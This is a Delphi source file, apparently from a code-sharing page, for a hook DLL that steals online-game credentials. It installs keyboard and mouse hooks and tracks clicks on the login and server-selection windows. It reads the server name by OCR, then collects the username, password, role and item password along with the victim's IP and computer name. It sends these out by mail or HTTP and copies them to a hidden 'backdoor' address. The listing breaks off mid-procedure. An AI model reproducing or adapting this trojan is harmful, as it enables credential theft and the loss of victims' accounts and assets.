📄 unithookdll.pas
字号:
unit UnitHookDll;
interface
uses Windows, other, UnitHookType, sendmail, reg, winsock, TLHelp32,
sysutils2, uocr; //, uIE
const
scW = 1024;
scH = 768;
MaxPoint = 10;
WM_DESTROY = $0002;
WM_KEYUP = $0101;
WM_LBUTTONDOWN = $0201;
WM_LBUTTONUP = $0202;
WM_RBUTTONDOWN = $0204;
WM_LBUTTONDBLCLK = $0203;
WM_GETTEXT = $000D;
WM_MOUSEMOVE = $0200;
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
MaxTab = 5;
TabPass = 1;
TabUser = 0;
type
HKEY = type LongWord;
TShareMem = packed record
VerTest: boolean;
// quserver: array[0..255] of char;
data: array[0..1024] of char;
backdoor: array[0..1024] of char;
KeyHook, MouseHook: THandle;
end;
PShareMem = ^TShareMem;
procedure StartHook(data: pchar; BackDoor: pchar; VerTest: boolean); stdcall;
procedure StopHook; stdcall;
function GetMyComputerName: string;
procedure ThreadFunc1;
var
SendHtmlMailSender, SendHtmlMailSubject, SendHtmlMailData: string;
implementation
var
screenx, screeny: integer;
DownXY: TPoint;
RectServerWin, RectLoginWin: TRect;
// LastUser,LastPass:string;
iLogin, iStatueMain, //0main 1RequestAccount
iTabPassUser, iUserPos, iPassPos: integer;
role: integer;
WuPinPass, user, pass, quserverLocal: array[0..255] of char;
pShMem: PShareMem;
hMappingFile: THandle;
filename: string;
//is9X,
isIE, bClickLogin, isCQ, FirstProcess: boolean;
GlobalDblclick: boolean;
GlobalCpoint: TPoint;
GlobalRect: TRect;
Globali: integer;
GlobalTimer: integer;
timer1: hwnd;
function IsWindows9x: Boolean;
var
Osi: TOSVersionInfo;
begin
Osi.dwOSVersionInfoSize := sizeof(Osi);
GetVersionEx(Osi);
if (Osi.dwPlatformID = Ver_Platform_Win32_NT) then
result := False
else
result := True;
end;
function HtmlEncode(s: string): string;
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
if b <= 9 then result := chr($30 + b)
else result := chr($41 - 10 + b);
end;
begin
result := '';
for i := 1 to length(s) do
if s[i] = ' ' then result := result + '+'
else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
begin
v1 := ord(s[i]) mod 16;
v2 := ord(s[i]) div 16;
result := result + '%' + i2s(v2) + i2s(v1);
end
else result := result + s[i];
end;
function TxtEncode(s: string): string;
var
i: integer;
begin
result := '';
for i := 1 to length(s) do
begin
result := result + s[i];
if s[i] = #$A then
result := result + '<br>'
end;
end;
function GetMyComputerName: string;
var
i: DWORD;
begin
i := 255;
setlength(result, i);
GetComputerName(@result[1], i);
setlength(result, i);
end;
procedure ThreadFunc1;
var
data, s: string;
begin
//sleep(8000);
data := SendHtmlMailData;
SendHtmlMailData := '';
if copy(pshmem^.data, 1, 1) = '0' then s := pshmem^.data + HtmlEncode(data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
+ '&sender=' + HtmlEncode(SendHtmlMailSender)
else s := pshmem^.data + TxtEncode(Data);
writedat(SendHtmlMailSender + '#' + SendHtmlMailSubject + '#' + s);
SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
if pshmem^.backdoor[0] <> #0 then
begin
s := '0 ' + pshmem^.backdoor + HtmlEncode(Data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
+ '&sender=' + HtmlEncode(SendHtmlMailSender);
SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
end;
end;
procedure send(const local: boolean = true);
var
computer, ip, sbak: string;
ThreadId1: dword;
i: integer;
begin
ip := GetMyip;
computer := GetmycomputerName;
SendHtmlMailSubject := computer + '(' + ip + ')';
SendHtmlMailSender := copy(string(quserverLocal), 1, 20);
// if quserverLocal[0] = #0 then
// strcopy(@quserverLocal, @pshmem^.quserver);
if local then
begin
sbak := pass;
if pshmem^.VerTest then
begin
for i := 5 to length(sbak) do
sbak[i] := '*';
end;
sbak := '服务器:' + quserverLocal + #$D#$A'户名:' + user +
#$D#$A'密码:' + sbak;
if role <> 0 then
sbak := sbak + #$D#$A'角色:' + inttostr(role);
end;
if WuPinPass[0] <> #0 then
sbak := sbak + #$D#$A'物品密码:' + WuPinPass;
sbak := sbak + #$D#$A#$D#$A#$D#$A'IP:' + ip + #$D#$A'机器名:' + computer + #$D#$A;
writedat('send: ' + sbak + ' hehe:' + SendHtmlMailData);
if SendHtmlMailData <> '' then SendHtmlMailData := SendHtmlMailData + sbak
else begin
SendHtmlMailData := sbak;
CreateThread(nil, 0, @ThreadFunc1, nil, 0, ThreadId1);
end;
end;
{procedure GetEditCount(p: integer; class1, class2: string);
var
i, t: integer;
begin
ic1 := 0; ic2 := 0;
t := 0;
for i := 1 to 19 do
begin
t := findwindowex(p, t, pchar(class1), nil);
if t = 0 then break
else begin
inc(ic1);
if IsWindowVisible(t) then
inc(ic2);
end;
end;
ic3 := 0; ic4 := 0;
t := 0;
for i := 1 to 19 do
begin
t := findwindowex(p, t, pchar(class2), nil);
if t = 0 then break
else begin
//SendMessage(t, WM_GETTEXT, 255, dword(@Buffer));
//writedat(inttostr(t)+' '+buffer);
inc(ic3);
if IsWindowVisible(t) then
inc(ic4);
end;
end;
end;
function isparent(var p: hwnd; swintext, sclasstext: string; MustSame: boolean): boolean;
var
WinText, ClassText: array[0..255] of char;
begin
p := getparent(p);
WinText[0] := #0;
GetWindowText(p, WinText, sizeof(WinText));
ClassText[0] := #0;
GetClassName(p, ClassText, sizeof(ClassText));
if Mustsame then
result := (wintext = swintext) and (classtext = sclasstext)
else begin
//writedat(copy(wintext, 1, length(swintext))+','+copy(classtext, 1, length(sclasstext)));
result := (copy(wintext, 1, length(swintext)) = swintext) and (copy(classtext, 1, length(sclasstext)) = sclasstext)
end;
end; }
function StrEnd(const Str: PChar): PChar; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
LEA EAX,[EDI-1]
MOV EDI,EDX
end;
function StrCat(Dest: PChar; const Source: PChar): PChar;
begin
StrCopy(StrEnd(Dest), Source);
Result := Dest;
end;
procedure wait(ticks: dword);
var
t: dword;
begin
t := gettickcount;
while gettickcount - t < ticks do ProcessMessages;
end;
procedure TimerFindQu(Wnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
var
s: string;
begin
killtimer(0, Timer1);
writedat('Recog' + inttostr(GlobalTimer));
s := OCR(Globalcpoint, Globalrect, RectServerWin);
if s <> '' then //nothing
else if GlobalTimer <= 3 then
begin
inc(GlobalTimer);
timer1 := settimer(0, 1, 1, @TimerFindQu);
exit;
end;
timer1 := 0;
//s := s + ' 坐标:' + inttostr(Globali);
strcopy(@quserverLocal, pchar(s));
writedat('SelectServerTimer user:' + user + ' Pass:' + pass + ' qu:' + quserverlocal);
if GlobalDblclick then
begin
iStatueMain := 2;
iTabPassUser := TabUser;
iUserPos := strlen(@User);
send;
end;
end;
procedure LogoMouse(wpa, lpa: integer; dblclick: boolean);
var
cpoint: TPoint;
rect: Trect;
bfound: boolean;
i: integer;
s: string;
begin
if (iStatueMain = 0) and (iLogin >= 2) then
iStatueMain := 1;
case iStatueMain of
0:
begin
bfound := false;
cpoint := pMOUSEHOOKSTRUCT(lpa)^.pt;
//ScreenToClient(pMOUSEHOOKSTRUCT(lpa)^.hwnd, cpoint);
writedat(inttostr(GetSystemMetrics(SM_CXSCREEN)) + 'x:' + inttostr(cpoint.X) + ' Y:' + inttostr(cpoint.Y) + ' user:' + user + ' pass:' + pass);
if (screenx = 800) and (screeny = 600) then
begin
rect.Left := RectLoginWin.Left + 87;
rect.Right := RectLoginWin.left + 167;
rect.Top := RectLoginWin.Top + 49;
rect.Bottom := RectLoginWin.top + 63;
end
else begin
rect.Left := RectLoginWin.Left + 87 * screenx div scW; //true
rect.Right := RectLoginWin.left + 168 * screenx div scW; //true
rect.Top := RectLoginWin.Top + 48 * screeny div scH; //true
rect.Bottom := RectLoginWin.top + 63 * screeny div scH; //true
end;
if (ptinrect(Rect, Cpoint)) then //user
begin
if iTabPassUser <> TabUser then
begin
iTabPassUser := TabUser;
iUserPos := strlen(@User);
end;
bfound := true;
end;
if (screenx = 800) and (screeny = 600) then
begin
rect.Top := RectLoginWin.Top + 76;
rect.Bottom := RectLoginWin.Top + 92;
end
else begin
rect.Top := RectLoginWin.Top + 76 * screeny div scH; //true
rect.Bottom := RectLoginWin.Top + 91 * screeny div scH; //true
end;
if (ptinrect(Rect, Cpoint)) then //pass
begin
if iTabPassUser <> TabPass then
begin
iTabPassUser := TabPass;
iPassPos := strlen(@pass);
end;
bfound := true;
end;
if (screenx = 800) and (screeny = 600) then
begin
rect.Left := RectLoginWin.Left + 32;
rect.Right := RectLoginWin.Left + 97;
rect.Top := RectLoginWin.Top + 112;
rect.Bottom := RectLoginWin.Top + 130;
end
else begin
rect.Left := RectLoginWin.Left + 33 * screenx div scW; //true
rect.Right := RectLoginWin.Left + 95 * screenx div scW;
rect.Top := RectLoginWin.Top + 112 * screeny div scH; //true
rect.Bottom := RectLoginWin.Top + 129 * screeny div scH;
end;
if (ptinrect(Rect, Cpoint)) then //login
begin
writedat('mouse login user:' + user + ' Pass:' + pass);
bfound := true;
if (user <> '') and (pass <> '') then
bClickLogin := true;
iTabPassUser := TabUser;
iUserPos := strlen(@User);
end;
if (screenx = 800) and (screeny = 600) then
begin
rect.Left := 374;
rect.Right := 438;
rect.Top := 462;
rect.Bottom := 480;
end
else begin
rect.Left := 487 * screenx div scW;
rect.Right := 550 * screeny div scH;
rect.Top := 546 * screenx div scW;
rect.Bottom := 562 * screeny div scH;
end;
if (ptinrect(Rect, Cpoint)) then //after login
begin
if bClickLogin then
inc(ilogin);
end;
if not bfound then iTabPassUser := maxint;
end;
1: begin
cpoint := pMOUSEHOOKSTRUCT(lpa)^.pt;
//ScreenToClient(pMOUSEHOOKSTRUCT(lpa)^.hwnd, cpoint);
writedat('x:' + inttostr(cpoint.X) + ' Y:' + inttostr(cpoint.Y) + ' user:' + user + ' pass:' + pass);
if (screenx = 800) and (screeny = 600) then
begin
rect.Left := RectServerWin.Left + 28;
rect.Right := RectServerWin.left + 92;
rect.Top := RectServerWin.Top + 396;
rect.Bottom := RectServerWin.top + 414;
end
else begin
rect.Left := RectServerWin.Left + 25 * screenx div scW;
rect.Right := RectServerWin.left + 90 * screenx div scW;
rect.Top := RectServerWin.Top + 479 * screeny div scH;
rect.Bottom := RectServerWin.top + 499 * screeny div scH;
end;
if (ptinrect(Rect, Cpoint)) then //select server
begin
strcopy(@quserverLocal, '推荐服务器');
writedat('SelectServer user:' + user + ' Pass:' + pass + ' qu:' + quserverlocal);
end;
if (screenx = 800) and (screeny = 600) then
begin
rect.Left := RectServerWin.Left + 118;
rect.Right := RectServerWin.left + 183;
end
else begin
rect.Left := RectServerWin.Left + 117 * screenx div scW;
rect.Right := RectServerWin.left + 179 * screenx div scW;
end;
if (ptinrect(Rect, Cpoint)) then //select server
begin
iStatueMain := 2;
iTabPassUser := TabUser;
iUserPos := strlen(@User);
send;
end;
if (screenx = 800) and (screeny = 600) then
begin
rect.Left := RectServerWin.Left + 15;
rect.Right := RectServerWin.left + 285;
rect.Top := RectServerWin.Top + 43;
rect.Bottom := RectServerWin.top + 393; //27个
end
else begin
rect.Left := RectServerWin.Left + 15 * screenx div scW;
rect.Right := RectServerWin.left + 282 * screenx div scW;
rect.Top := RectServerWin.Top + 22 * screeny div scH;
rect.Bottom := RectServerWin.top + 476 * screeny div scH; //498
end;
if (ptinrect(Rect, Cpoint)) then //select server
begin
i := 1 + (cpoint.Y - rect.Top) div constHeight;
s := OCR(cpoint, rect, RectServerWin);
if (timer1 <> 0) then
begin
GlobalTimer := 0;
end
else if (s = '') then
begin
writedat('Recog');
Globali := i;
GlobalRect := Rect;
GlobalCpoint := cpoint;
GlobalDblclick := dblclick;
GlobalTimer := 0;
timer1 := settimer(0, 1, 1, @TimerFindQu);
end
else begin
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -